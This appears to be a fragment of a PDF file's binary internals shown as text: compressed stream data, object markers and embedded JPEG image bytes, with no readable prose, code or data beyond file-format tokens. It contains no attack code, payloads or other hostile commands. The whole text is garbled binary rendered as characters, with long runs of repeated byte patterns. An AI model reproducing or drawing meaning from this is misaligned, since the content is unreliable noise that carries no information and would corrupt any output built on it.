ZmYWʁ`DBn0zmcɄ}ߝfvhjJk!ɤ"''CA&$Wll6XҰ!%hDliFHLGuy/Qb Z6?ζ> MM#er")9FKi>Nu8c|un Tld6)ِd+ sgfgNmj94-&g(?2x<9p,>}aCqcSӦPsE{3Tvu%ְC;"M;:wD[vƈwCZwu˶5l2%?1[e^! Iގ"{ڛI;LخV5 7")ۚwtD{:tw-'>Mֱ;N,Bld;l?;v o׭X+HPnbZu %kbkT3DnAEZtNfj#M mU*uM5/V?Z1TlrCh3gBe UM؆bϵVo Qkbm՝hhpKGHӋM /χ[7=``d-U3fݪTmYcbҸj *HV}zCsͳ[mbiOݶzb#&kZ٢ukâ&NCe6 >Q-R5R^Vn UF[njo|!@69bg[64>\#Yj*Y5e5)iH5ڬVhuKRl6P-XoDYd!5)1kds 4,Pt]O3Ͷ endstream endobj 72 0 obj <> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?}:R5MN1u%bo8<x ''$5atm?kgB>҇?-j s'RP1NNZiZ<˓ Thz:#GӺϤRY`p}귋o|3w}0{A`H^ng{ϧi`Qi?&-)-i V ^LZ+DXԩ!|e]suti7t%Frc.ddB`iܸ$^f@?# kZ: VE}FB(bY~MGDfCQ/okp>ZPx84&h6FYCs V,4 aK鮄`GMCnrGq_&J[Ά\Ӻ'u玝+Gmw4W@я*t&tk^^Wk5ҵ갪$忔*zMia An-Zc+8@ :89 3ӌsWDl3`'N>q5k(twyblYͩyxE3߽h7-#.N Ԗ(R'B0( 3s\nh&ӿ?E IѴ+"?z$hr]<ɌA!J퇈m?g1%Tܖc9뎙'\#/tɤi# e9!;# nKZEf(bBqڭGS%m/.c(!XٱXIG9ǠsNHš4='wG\\q[[NOd Y;cGr6#4nQ5]&Esך_+6mN9K%@MӱM^,mQgkoqƜvj֖Pcnq5GOY}3N#?].1Ak8^Zm}%i:vq>b|8ۜMuD1Ttp:SpVjm3O/&4-'NŠ6;vb,8 R+Hd!48 Ϝ_MGk,>CqMD.;`rF5-iGa-iF[/-;N(I\ZgV5Eltei?&fwcMM5rHI+}'K`3i UNH­E68fa?(ӿ?Ntno0}-%5`w9i(Zv3>q5i2 'Gӳ^ "-a18*z;u)2NHµ@U[ǥE4m?ӿ?F };# EY7t,ryѴ*i USE[:(ӿ?.4+y2Ea_H ̸},4m/JLcGӿ?𭈑HQS]BIZH SŖ$Z3N[Hi`+30};# Akw+a4߰K,Ų`wGOXNHµV1JmzRHXi;i,?$I ;# ԉjЁHz]3JOi TJӿ?[5z]6"4$RAΑ$ZNAڝ%Yzk]06I?&i:GrSWAr(Α,VVӿ?X՘mȇOi M@B4m;c GS 1J9y%Gӿ?͎?$]jg`?4*X%AwGJmš,*?Q,PhBt|82(=+X U{_Zt-*aNX£ԥJX/8|OFfD?wt!ec 0?#_oz縸%ԑ`*FMNWjqt^[?>v3:YN@9;{ez0ޞ,"<'q -۵Qլ\]GN)>B=.hc B.-Q|;j}G3@d աBtm;c Hm]yF3? *a/ SŠR䕶+gy #CV8\=:Sߜ%/WCG/ gh ZvQˠYBa$FWp=qAhӿ? IkqnD$P#W9G5swQ*CFO 渽_7>dLMnxN2pܜb.u ?鄿uĶFIIs֓^P U,T{OB~KtH9,;I#,2p"|vvZ;'HkDh_6UOXê=(@?+ABf? }iDڇ?$ 6gM FYo﬙~h쁐I8U mG[M:kķ󘁟M#/ש_&=VBԪ|?_\j7#(]`B<3|V[%mh%1 R7~nMly㴞m?-4N n̄P iVS4sך$mksyyqXmO[ůjgr!w %}s(x=Դ+gZݢEP630pگ }i;1ݙm)t0>'<=3ڤ–o׷~|SaEPNh}v^h^m T.u[m&iQ 1$h6+F.lm\(}0<{S{@k;I_pzZûʃzmdû(F[җ?FڰkNaAv0+>O_p.J_v>v-uS3y]ej #Mo }i|_pR咳F—cQ^^^ƙWlj65u?u?yƣcQ^^`ljO-/y@k;Gy@k;GЭNU|_p<_p*1VDsM.jy@k;He5 2r\&K0k;H^vdd4{@{;MM=0mEa&", |?}}AjE{=,4u?u?AfN\Kͼ5/{@{;EY5&b@nrv7]V9Ro(M=?npWAfN{?6rz.ݽT {;R0[;Em?6]B./ }Qq}E]676F?Џӿo?h5,?ӿ;~m㴿i5,ͷ7Gw3tϴp.̖(f3M(MFjNO^;,Rגo^gqm##Hi Tlfzy/m?ctPs0qkZܖ , '[ʨ?y{޹<O[2ūmvb'U%vH[‹M lO24n3=2}:qM 7 .S=pY22{=5"QHU[d+a:) VH#8w+|'09w^1{v2jޛ F+PJH/]+n-`rqVYcjM(O> +6X䷸sܑ$F?opIq7ȥJ!vzGA,fmߕ3.yU]t{mrE5q$YGj,3VUV9&CF>$ݽȌU-<6wZDI=-l縑["Cl'꣕\Wпs{plF\c:ϰ\78R X*{xb q2Y|ai[YҧW=;QʀoYQɾFR&fT w5|k_"9K3fg=AUF4m]"/' 1CFX䍁"xmǩ, T +.^=ilեf4p&L/=c֬ZZP+"g,OMWO7v h7I!/$C uv./-]IC+RR&f3^F'T~v1cg#urnQbIZhdv 8N w\ݲ>0%R-< *l25JabiC,Whæ=8&5lQ PU\؅f9ɫo5G{{Kڙb G2DF.ȝKo4}..T;o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]r$bך|Q˒+nЍ^q^e5_ <ϒ*Zjw#8z/aI2oz7m7q+F[fd$?8ɜw?c W}(2H(]ys\ |cb*}/YƏm$YwxJdp fT|w0(M$A1/$l~OSgvo &w5^~S]/;I'3[YԖn7ƈLa_ҤkDR檨&PnХsVOfL,eRPǜtǯQlmC/Tz>LUr:WI̘ gHYIȢQM:%DffocP\h敤;L)#$fH!/ 4Ѫ;Es뵁q4\G϶/UnI&eek51=Hz:$=sѢvEș]rԷv$c2uf ?ԊtiͦnŃ>vzz_69( -14Ue}Vo80ZUm;`ydy)8n(6*FA2PV;2I?盛ۥMVxNӃ3C`? QITn1bw6v\:-̙ TOW9oϭ pI=(ޯ4r7[GP沑E̼P:6 Ҥbu#iLg+#I.іA²8T:q1ŸRo.&l=`p}nj3Ik ɳ .[h_ܿ9ܸ:6.JEԮ& gVB+v9}銻Q3}ltCas3CէYO*VE,hP2IzWErȶ;rsZu`E/BU_:qDc%,n{9V9eI'E$N::8ڑ&|W -E,UED߀T`d$o5׻戼Gmp$d' svu ȥQɴiᱷtG[w$p1'~uJYCw `#݌gn^#P̊1+g[U ^Uv1RKgzM2UFD[ss'UbA?<>V-#{TWy|笮h+Għ5$v2f,yMĠ-\n!i$+)uRG c?^c+"^QG%O 8s`ۇ>,<>{O9t϶/G}fEs\+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf._"_|88%%޽9aI8k~)k^KZؗH8Ū,]iB٧Dx.39wXg(84Уg%x0K}$$ѴlU k;IH2C+G'~'~mHtt։/!ܿRMfG688- ?"~?>?xJqNFv径Yo% s^P l\v$]#?SI}5A ]Hq9Wt k Mh}?>?MGqC,/$Rx[O /#[coO&M'@k1(F ;J=Ro?O7M'@چi)Yq}iV\ %F$h#ߒ4N/ ״bT#M'G[~Mȶd JUB(UP0+ߒ4fO&9{ ]{< I$gd/ |ײ zMg$h3ߒ4TA \4Mr 9?S~I}o?1{3I,EQf S=bg?S~Iw$h;U݉Q92Ϧ$I"Ł#c ;ߒ4y?S~IvͦA'!3߿_J˪Z wvU*Ǒ'K'I?RI?wBPo8n*}}Ӭe>I?RI?RK=cJQ2p{zVVWKyTIvc#tL/MT/M>VY .ʼnUuM6=Ncv5?'/II?2Km?I4ՀI?2K?2KF) toW'[qu/[\/M'//PZA5bvw<7UE3˗~e)6K?2K 6[5!6]?vVAַtM'RӯY Z%% 6?2KuTT * _{49 a#'s? |Po\vW(AfOO^mIxӒo]>mBc %:?2J/t㳶GS rQtD[JOa) )())M% JSI@%)PIA J RPh()( J((4Q@%PIEJ(QE(4Q@ %P(EE(4QA %Ph(@ EJ(QE!) QI@RPEQE%QI@RPA ]"uqi7ɷ6ccנXs>qWM$ֿէ֧Uit[j"{0/8zsN}B) fXQE%QI@RPEQE%QI@J(4RPA PhE% RZJ) -% JSI@%)PIJi(4RPhE()( J(()( J(( %Pi(IEJ(QE( Q@h@c FC^s:Md2J)1zM!7ݲ\FIZG!zʿQc]p^g*"R8%T(4Q@ %Pi(E(4QQE<3TUUΤjfW3Y_K(:%!ԗ€53Fk/E)ޠ Lњ_RE@5ޤ:z53Fk/EHujf_zE@5ޤ:z53Fk/EIޠ Lњ_Q3Y+GxPheh+'xP_PghiMfh?WA5+Ӥ&W֓E@y&Wԟ Ӥ&ԟ Ӥ&ԟ Ӥ&ԟ Ӥ&,wj!,> CJi(4RRJ))M% JSI@%)(4P-kЩI8l;EK%ђWi*o*~)k^KZؗ 8z\vGXz!,) )PIJi(4RRJ))M%(VFv!+Nc5xrr !-8;"*B^d֮?ǫ_¨ *np91?2\kcúk,m+nx\oʗ˓VhF:MD%@G2@ xVIen)9 3^V+gD:RNdɫM&=2c[q*ǟ<6?5mȡ #ueV]\?r=uʀ$ %Pi(IEJ(QE( Q@ k!ؿo*~&i^kO^qW 3FO_kb^{85+v&R%TQ@ %Pi(IEJ(QECq+Gy\O?_XbmI 44   \{_Ј34oX27,??¢'x#*ALEe  G@O_w?܋?G"p.`hd ?4oX2R۹_?ƋwFE'Q"*"6PhxBOp=} "(ѿaK*\_T\ GoX2d %E~OG./.g#/,??G_X2i~"'??U3 G#/,??´s?ߓQK*@O Zd%E~OEEE'Q@O?\_T}~"'f?"(EE'V./>s?ߓQp3?a?"+O??Ud⨸d ?aK*\_T\ G_X2d %E~OG./.g#/,??G_X2i~"'??U3'Q@}?+O??Ud⨸?G_ Zd%E~OEE>?Od %E~OG./.g#/O'V./>s?ߓQp22h?µ>s?ߓQK*@}?({E>K*\_T\ G_ G#/OO\_T}~"'e=Od ?2j}~"'fd;,H GbIaggii9q a8댟מGOfIy+ͼy#ͧcѳU>ѱ}ծ\~Ad CKI@%)PIJi(4RRJ)(4PZv/Co0ךo]՟bI8#ykb^uz&\_ODYJA4%!ҚJ))M% JSI@%)PSGBWBRU:QI'$+e ?Zi*[<^kc*VmV]J [SK.b?.1t's#)W_ZIbjnމOˇ̪Ѭ7x*MYԡIִy;u$K`ݍ0w/p˨@)VY ,Ovy}}cEyj^-|Y@^XZ+(X|r^5USѽƱyݢqrCQmW7/5vBJy+7)O]Ik\ bdxUlcgе5YÚꖺe-D*2x+Ǡ5j:oiw Z)62#G v xxNj QWGeND)U]r}+I%ՌV7mdYug:joYEsz-F}?F!u`uoZ{S~M׈m$8DZ)A69U{ዻ Z UHbbnsTZ\ҭ=:c5Bq0t* XQEV%MqvA 0Q#v'Nhz +h&|!MZJ>҇(Nqp>4t(((((((+2Y?3ZuI?묟 Yםǟ<6?5zU:y+|}ǎ?}uO* $C@R(EQE%QI@RPE_&wVsc!o*'k^kZؗG$??Mu$??Mu"QE(E (4QE%QI@RPErǜJxp?Yk̷Rݎb__S<]^U_Tjnɫcß+<9! ?btox+['f4ݥd GZ.ZV7V>pAszY^e*<đ\ЊM𿍼/6AsHNA9g&Pzo+p~'arA:lc'ƔαM@ٳZN3ۗcCǚ}&lü\x'zR]-_M5x3Q^k55Xpwv$tS_ jYq D̈́$ wǸpBġ#Bs]wfg.)_ h^>y%ïeJZLB0sτ_J?\Cjqe_[:$tH,/)~~Qt5 ?N;Q%[AX ezc=A-? k'.O /Oѭ-dD"P%`9GM4/".gs/6gggM0zdsk (q[ :xSDef71 F(naVӬ+x2JO"P͞ƾ=>ql[St贍"N `vPbf}UAHܫFso܊ME$8߉--j[]@kRV걦'~]S,|Y/]f-nH+alUK!ʴjʖ(IvնQEQEQEQEQEQEQEI?묟:̇O uψ,Cǎ?2gV_q^kcǶ FWIF~r'ZRQEQ@ %Pi(IEJ(QE:CפU|PCzt"I8#%y/kb^q@5W!.y"R%TQ@%Pi(IEJ(QE(\O?_v|Qr(RŪ?O'3b dg8;骘BWBRU:@`Az?+, P%x[5w$Ix#OC{KڕyR)U4"^r"  3ֺP`W+|A0}ݹ_K­yU0V*|P;YUI\bo/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~(d_ݟ?U("EX+/~*Gad<{VfCO'h>$; O?l_6jH%$>q+~#~ ZAٱtUtSGD]\?rM-upʑPhPHii(4RRJ))M% JSI@ӿ`&mb5I8(oZ˒oV%uDWzk":RJPHii(4RRJ))M% JSI@O+GyW@lZ ?We\mk_I"NoUNjBeQ@Q@lxsB#cLJ?!'r?PK$(F UAbK=aXpFWS^ծM+\6n13+z=%j:|:7dRp3q'[k_ΊKjR弑Dv+0+*I#%]ձ.F̩:4_FJ%yW$uK]lzuxżG5]hO+h$s `@v_s&_[(u˻bo ]A6%6[.{;¸zmSñOM%DB s3[!43&,:yq]ʱMCardl䜶Bu$M`Z&U$~RFsg'5-=&?yjQ=Ē}?.wXȤn. a,Iͫ7UH:xu{NtwBRINџ./}mo3ӨS@mh`[{dS$LDa7R5j>!ao[n=C[f;xvQ=gu{;Nw-%_U*1[MfVFc⡥${pn $ޟcYZnn q\J pC(r xU}Wv:Z'R2;fȅ`#E,m\  ~}6]䶷'JLY UXRA9#<4kWSL{Kx|UvCip5 Ȃv%VL -/0zI||z& ,R(tYYv#,Bտ]RKNP4r`':_yMIM[kmm8>޼Z.]n-m9,Q$1)1 [IAb5/IJyg͠%m5Y^Uc/LnWM{幗CT[r\ʿ3ooAR wQE ( ̇O ֝fCO'h+Ry+ͼu#cWj;yOV GMZ}>ٳŮ\~fY%Ph(E (4QE%QHhC@RPQ8I8(9~fŷ8θ3i»JҧC8u9WBRU:J_ YQ@Q@lxsB#cLJ?!'r?POE6YRYj"b{ּA4n[m jIl r!F|Iu9U/4u2E] >~py;n3b4oc9>ڼ Ux,ms$rO'''gwS9m>po*3BqtW sMgNf&{{h@1*30 ( 0I l///kxV!9˙IP͕ p[>اbS^Q?;E /21_\\xO7B"tޟE &#>[` 7 fKg{]d]2};Rmq#4m֗;+Ѽ{jo$i,W,12VicC5r3nY1ۥ˰X cu*>nh\Q{%ĈSEc1$9b9 \2Xxnu\[1A&ҩ'8%ڞjn"O4n5 CAs/Ppi7h߷? /y.vW Ị^h{kd]Ȉ@Pv+6cI"֝[J -Y^A$J흊B<`jkc vQߗ\ӷ:\\4F A rŏjp˙,MRu e7WW`.9 oΏ"YXfU L 8j_wN_H_;WqpO#5;Y Q%~b*>| 4mqwc-7Z\_jrIpoGU!7rsucD%am2g7vhfcq3Ummu"oΖ(0(((zI]did=$f25^5?ѐWxG[?H3g^+ͼo#cV`mhqkW)ծYIIERQEQ@ %PIEJ(QEGI8sג+C1פUIylKkݾ/&W x3M^J]*FQ@%PIEJ(QE(4Q@ q^'9~ q^'9~=_ kwk`4a]kS>7J_ W5_ K!T#@((BOz$Gd%C#B?nRSծ-uT)1]q(I5 6Iy 2_f { s95,r$G#n<IؤvFܱbN{ е=/R]B9uK\>8*rFrr7o jڋޛVZlI7)V5EP9kAu-cRnn1 Cs;~U럺9}cGMbekYm[ٹX::=J,Ƨ*}- )VV@8< ihD@{ytn.[5!A#odZPmsy1ܸKEd0J)!;r&iV $0Jr+9pAtzRߐ9?GI5MNXŨQ*c_$z}%QMLY˦^jE,${T('wSG<ݢd1PG2G3SEQEQEQEI?묟:̇O >!?FA^k_'YŧzO 5V_ GMZ˳?nhqkW)ŮYPhE% CKI@!PHii(4?%Od!_*>%~FIV%opHO^kc])BE%IAA RZJ) -% JSI@!4rǜJǜJIIv=0⵩ΟS%/S?uQEQEVLJ?!'r?V=lxsB#tQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEI?묟:̇O .!{OFA^m?'[zO 56_ GMZ˳?nhqkW)ŮYQE(4QHh %Ph(E (4 E^qW +C2J7zK\/Ŀ-?dkb^u `q+:9$\?Ev&"QE(@ EJ(4QE!) QHhC@O q^'9~ q^'9~-_ +}k`4a]kS>7J_ W5_ K!T#@((BOz$G袊(((((((((((((((((+2Y?3ZuI?묟 MsB֟?_8Y:?5zNqפ2 oc`tկ3~SE]\?pVFQ@%PIERQEQ@%PIEJ(n/C_0Zך+_/p?a%ђU{0]JT4qVbɏ'E RQEIAIERQEQ@%Pi( J(()'/һY+/Ҁ%}k`4a]pOmL+jl9WBRU:J_ YQ@Q@lxsB#cLJ?!'r?POEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPYӬzI]dakj?*'Id/ٟ7_Cr/Z%J(4RPA PhE% CKI@"I8# y/?^qW ;F+O_%ZؗDMrq?O]])BE%IAA PhPA CKI@!ǜJgǤJIIvY<0޵3_ K!T!)*dhQEQEI\[1@=Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@fCO'kN!'uC4 פ2 _c`WkId/ٟ7_Cr/Z4$ %Ph(@ EJ(QE) QHhl;zM\7?dXz/Co1ג*;' DWdiH"%PjJ(4QA %Ph(@ EJ(4p]rǤJg$i»z[ ?WqZgOBWBRU:((+cß+<9! ?b:z( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ̇O ֝fCO'h _zO 4?O5z_?)i^+<_#mGMZ˳?xohqkW+ծ+#BJJ(E()( J((uI8#y/[Y?ESyI4yI4O}'}' U?O*O*.QT?>?ESyI4yI4O}'}' U?O*O*.QT?>?ESyI4yI4O}'}' U?O*O*.QT?>?ESyI4yI4O}'}' U?O*O*.Vd=$fyI4CbT` $t?)i^+|_#mGM^ Zפ2 _c`V^/Zam-u0В)(I@J(4RPA PhPhf?7p ANK$CפU|PFIV%w1>O]IV/'`q+ Ph((4RPA PhE%)(I@O+?zK\W_X{m`4a]pg-Iw5NtQYQ@Q@Q@Q@Q@Q@Q@Q@Q@6vqq" Kz MU(쉔ݍ*+7v7Go?o"fO4/ E۶_ݼ=0}e\h4o#mO:HLj= UHѢAH2{U_{s ׄEAe*?_?G?_?@?P|EP|E^k[ Ck[ Czo<5Tڍ fEWqX&H TU{{/,L;BB"#;6:T*Zxj/ Uk"k"/QT熡?熡Egk;E,3%8"+F)#P? Zפ2 _c`WxBv?69?tկ3V~WE]T?pVFQ@hCEJ(QE(4QAC@=zM\??di&v2J=N/'`q+Z/'`q+ B(Ԕ%Ph(@h@ EJ(QE(4 p]rǤJm`4a]pVg(+o kZ */$vʐ,I@$uS:\qa&`V8բ#1QOk{SՂm!Irx"{,o=-M,BN2cҦ_aw{MW*"W*0'X .V}6rUl&RX25m?VgIn|ɴF>b\慣w>%4鬮Cm)U.%m'q72Еm9E]3.Cp#/},7t,47 bN3ßwpA$v_#/K$*σbd RUO/!#^wۇ ft[69`Q{3D(df$"$E:5,љm0*J\n9giSFKks*!FFSx u\֗N(Ӯo]%.m ߾ʎ,00Ry3ҵ?Z2}I\Fۤ5ulᐺppˑTƺG,mq{pm(}ђR ɑM熦Ț #Uݭ,eUAT M{/j2iVAmv2IJHwDH7`sO=mZmΠvń'2w#ЃYxOItEkfͅ\szʵVg7Ɔ38RQpI>1/CЗ4uT0heo\G[}:XUf!UC#FX?} ^yl$,eM9| ]}cWZ-ݮ ImbHd2F_$HV>,Gi{ Ia!cRpNkV XnY`ȇ!? ^"ۭK-N2X PDkҴt&N.abB,@|7{ܷEPEPn _69*iHL"$ 8Ђ QcOv,k of=>=^hf͛pMAcx/W-GR]R-+Gmt; cH-TA+-n4ctN;wucv)V0fsx)%KlK{,Fv e2Jc#-;Xלj5ݺ%Mu!Ry b31>ttXu%KB'b=d~Vmn<,X[X[ FE6_&?NG88殼%utVԭiY͕љQAP7pGcK:^"J%}8}# 8?Üq;VcѴyz]y{vmAoq*,zyiь][OA` &P2#Eo^|)VFkQfq~7l8:o\2Y)XzU2}msc^O{l,ຸī=I`zK${Gy+IA՘hLcp e-B;JmV+{#Zp$Jwm7lb-]b"w\~zbMk.D$WDZK n*8uǂA犁aE$GTQR,^D*ev@'O7c_Vm<7}?K]gqZ_ w0\ 2/Ȳ)7)mSЂ{SbGQ滎0n.eo-H1g-;P$W=oȱWcNW1}EziG2w/CO/>TqmBg|yWp©=ɣK3[n۵3N4)Lj-5{}ej X??smLLE$s#odc؃zze1nb8#ȡPH'#Es5M/PKhKj`_%ќ$wp9<'VQFEGRMWWe<"FTg<"?Ңl (ݳw/.*+7vy"?,Ңl (ݳw/.*+7vy"zy"04?? ( N޳w/zy"04/? ( N޲OQe.:+3~?G/"0-Yg%ۂ>9F) (ųv]vbm۳o*<5Ɨ/"~?T$!'vgtlv]vv?uʟc=<dzc۷m۷f11GO-0'tlv]vv?uH^R[26H9P@?S:Ddzy"/3K?TcAKoƩ (޲w/.Ǔ_Q'.տ޲w/~y"0O ]߫5G<Vj_"H,},?U5&gg]"UQ/pnQAflFIV%tQ?;ע;K c]  RPEPhE%)(I@Jd*k]qWT+:SyΕF{g5͔EʙI'aV  898?XxhB~Z}UJ:qn?Xx8|Ek/;U??)??)Yw6>XڣGA^?XOX?k/;T?(c=K?_vG cEj'A]?4?_v>j~{Y D G cEhώڥGA]ώ?a<_v`R`Qf%Xz??c.:j?~{YhF?<_v|SQG{8>Xx''??~`Qd?gO4?/;G'z?Acҏk q'G=c㴟h4_vc=Ĵ=\ԃ?XxQcҏk q4?bh<_v&>:k? ҏ/?J=ώOXz7/?J?(gC>:hώc ҏk q4?a<_v>Zk? ҏ/?J=ĺ?[\gz1McW ҏ/?J=ij ֍>EhFMc[ ҏ/?J=ij ލ>EhFMcW ҏ/?J=ķ ލ>Ei?;ѿXhTcҏk0q.yϦ?<ѿXhSgҏk0q.yϦ?<ѿXhRb??J=Zǚ`(*IQ>$l~FM֫ͩ]@vƀaTg='k+VIAS)[(\`*] c *8% i(IE(4QA %Ph(@ E,O6NdFC^U֬Ud?dZR`ϤU|QG-@կ$??Mn_NSD)D4QEI@i(E(4QA %Ph(@ MeA lڡ6*{UC@>¾}}*! a_J>¾~a_JI@>¾}}*%P QC+GWүPa_JI@>¾}}*%P QC+GWүP+*%Q CbP6+*%Q CbP6+*%Q RG+HlWүP!_JI@~¾K*%QR}}* ?b_JO/撀(}'ؗUI@~ľK* BGj-{UI@ UPIJi(4RPhE()( J( G1פU|RCzcI8#5y/kbz_NSD`D:A[ JSIRPRRJ))M%(@%)( J(()( J(QE(4Q@ %Pi(IEJ(4QE! ! %Ph(@ EJ(QE!) QHhJ(E ()(J( (E%)(I@J(4RPF_*>)k^KvZCyI8ןr_ 4|$-0qF#hBLIH"QIRPQE%QI@RPA PhE%)(I@!PHiM% JSI@!4RRJ))M% JSI@%)E(@%PIERQEQ@%Pi(IERQE(4Q@ %Pi(IE(4QA4QA %PhkmZ7/?]nlFI]5( i/V̺#d?dkb^Ce*ɴdDWY\ ' i(4Q@ %P(E(4QA %Ph(@ E (4QE%QHhC@RPEQE%QI@RPEPhE%)(I@J(4RPHii(4RZJ) -% JSI@%)PIJi(4RPhE()(%aY>/q T_h0^qWKFk__ ;H䟧䟧%)())M% JSI@%)(4PIA J(()( J((4Q@%PIEJ(QE(4Q@CEP(E(4QA %Ph(EJ(QE!) QHhJ( ()(J( PhE%Zѿa%7ֿezK\o/m7[c|&?'`kk̓} %'KIK>k5%QQϴi5}_ƍϴ>f_Ɠt'@__t'@3/IљOƀAo_I4ϴi?5Z &&i?5LM>~k4LM>~k4fi?Z &ٿOƍϼl'I_}i6O>}/Ad\%!ysϻK4\%!ysϻK4ySϻK4CN?<ƀIOn?O&}_SƏ"}_RSƏ"}_RTEI{ƀIR}}_?GIR}_5@Tfvh5@RTevh-oƀ"s<_%oƀ"s<_?%oƏhJw_OhJW_>u<_)*]}/+}xƏ}/zJ>w<@%X?`_ 撬xƏi*}?K4XU?h_ןK4g^}/SIVo?hͼ'_ y<O/CE[̼?ٗ_ fy<??<@諟wG]LJ4#I8#-y/ZyɷuҸ?2ZגoV%w>OR1mf%"?!$K~##dF1G$??MXw:/-v F"q=SRq.XDҴL tI6mvoIo]cz|WY;s (.ӴNJ ]#ikѥ,Ng`',q'o=h;i+gs Է.?iA#eP'F\ZBPYH ! [sm"3 %YY >:mmX&`.#pZgkAj:W7djaFcvlNy`S 5!q>9e3d m3/UaHuV%:t9%wv@~x2+2jQG:<$}0}L$}8,G+gMqxNn4PhzmyCKR)l޺ʯpʟ+f<xNѥI5MPA߷ñ[^"I N &H$  ~簱ặ{{6$upk 1z\GA FR[tјHdXrR \6@bFC_Aokȍ=;/$®>[ +ɻɛ1~6q>Ŏ2 =ksG/ GQ{Pw4QEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEPC֟? y7IC֟? y7[4&PXIW̥Wadr=a>47vN, НWÜW AGh  0>sA{7^) AGh\ΣO4i5=w?`t}nS-s:? AChӰj{W.-}|^׉EgP?"?3Sv Oo}͸\ΣO4GkQ4qA7Gm/?x$z =sZ?ѧ`ۏ _0?n?1|?#?5S)ƍ;fbqA7^! AGh\֣O4i5=6nۏ _0H j?G$z Nٷ`tfb׈GkQ?#?5Sv Oo͸6nC=sZ? AGhӰj{u/?`u)ƏH j?FSۿ?1}|ϸ\ΣO4GgQ4 0>qA{7^% AGh\ΣO4i5=7`t}nO=s:? AGhӰj{gn?/}| ?x$zu =s:?ѧ`^+ 0OH ?G$zu N^ӆp1|#?3S)ƍ;g\bqA7^! AGh\֣O4i5=6nۏ _0H j?G$z Nٷ`tfb׈GkQ?#?5Sv Ooθ:nC=sZ? AGhӰj{u/?`u)ƏH j?FS?1|θ\֣O4GkQ4qA7Ht17^# AGh\ΣO4i5=܏0O\^׊GgQ?#?3Sv Oj?c\ΡO4EgP4K _0>sAk7^+ ACh\ΡO4i5=?at}?n[-o:? AChӰj{Z\0icnC-s:?GgQ4qA7Gm/?x$z =sZ?ѧ`ۏ _0?n?1|?#?5S)ƍ;fbqA7^! AGh\֣O4i5=6nۏ _0H j?G$z NO`tgr?/}|#?3Sk)ƍ;n\^׊EgP?"?3Sv Ok?c\ΡO4EgP4; 0>sA{7^) ACh\ΡO4i5=W`t}nS=s:? AGhӰj{_n?/}|~qA{7^' AGh\ΣO4i5=7`t}nO=s:? AGhӰj{o.?/}|?x$zu =s:?ѧ`߰\^ 0/H ?G$zu N``u_)ƏH ?FS1] ..dThTmU^y GF-fǰݏ5ŭSƩ{42:%òB G*/T`I endstream endobj 73 0 obj <> stream xY[oG~G?n$le!۱&UX탕D0dCjI\`׀j3g7Wz]/_?/~|?7f> 8ŝykɄx|p'ΟجIl~mx_ 98/*&6ǕnbS۹,X]vΰc }.Oښj]2,,SՂ{4Yqw,?}){uwi=eO/XxtS蔭[UP ~^k(kj}Qަײ G)|PLߗ=S+qMaiP1۔ZYrq2֫x%b46=n*Q?US&(B!a>zE47.GˆW&-KWq [֒ RH'в'l,Wu͔6& &NUE6Ȱ8#WdtRUAydByR]/׿邳?(&DY hZA6'\(Qse-KS"#nRI&R_\y.!-"voIZ^jv5mܒ W^U%mJ-*UсDśXFTʖq^$%u@>CGn t{ t4G/[՞=-lkPݓ]vt\rRXCH_ciK\/`iđ_^s hF&[!n4`8i<`4?ysʪlʊɬw>,$rli3Fl0DMLϠE qDŒIɧz?:<|C@H9qDy*i mR6mp&xp"MzEwoS65Wsqqֈi ITIY':]x ]qoq .z^ gٔXhӨpƴo i].\}K6޲KO*$M;LZZsd̑.)/B$UT[N[ͨ{s-l/4<9"P7=w9C.?Z%%):eK_iP2nMGhA7˚25oUvTSky@;@MUAлHJTbGEDlkL"}DiӴ`PDmpl q$R<*6%3ۺ44Y9 ibI %lի^ɾcRb.Ra2(> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? 2Rԭ!NDƎ2!IA$rHt24$_M#E%+V*~âv|Z(hAt-%"%&e8P _oa,-M ӻD4x{I??]I@=#QqtHiLb)*br/v_ &⹯4:i4kٯmy\'>ZL$ n"43ŕ欗aSt{r[^鑑m4g{"Hcx_`GE? jjQ` F q(c?Nԛĺ͝S%#V1c zv&cZ5 x{A_iU6ouiX*@medxY;t =s֭\ܲ1M'obdFtZGCa??&왦OfiK H/_"ò~v;? A4@ЏiwkF9hq# ZOCկ22Hyw*6 @?$;N+)_8yw4FiK HZpq.yw/`h??&:5]G`r40=#!iˡh 0-#!k4Ozm;=]΃iJ4 дg@F*{i\`q?п?M_/&yrGܩ4OiVd54ǭ {<+ #"itIzSB{ksK@#"ijȒ`r#t>teG,i.E9r #"i??/&M4-9r#4ӠxxH/$Fyٮ`x{:GE`x{:GE_=iu'=/xHpt1Io30f;Gށ@ #"ho@5ẉ̥Ȼ(7HC:GE]úth_?& 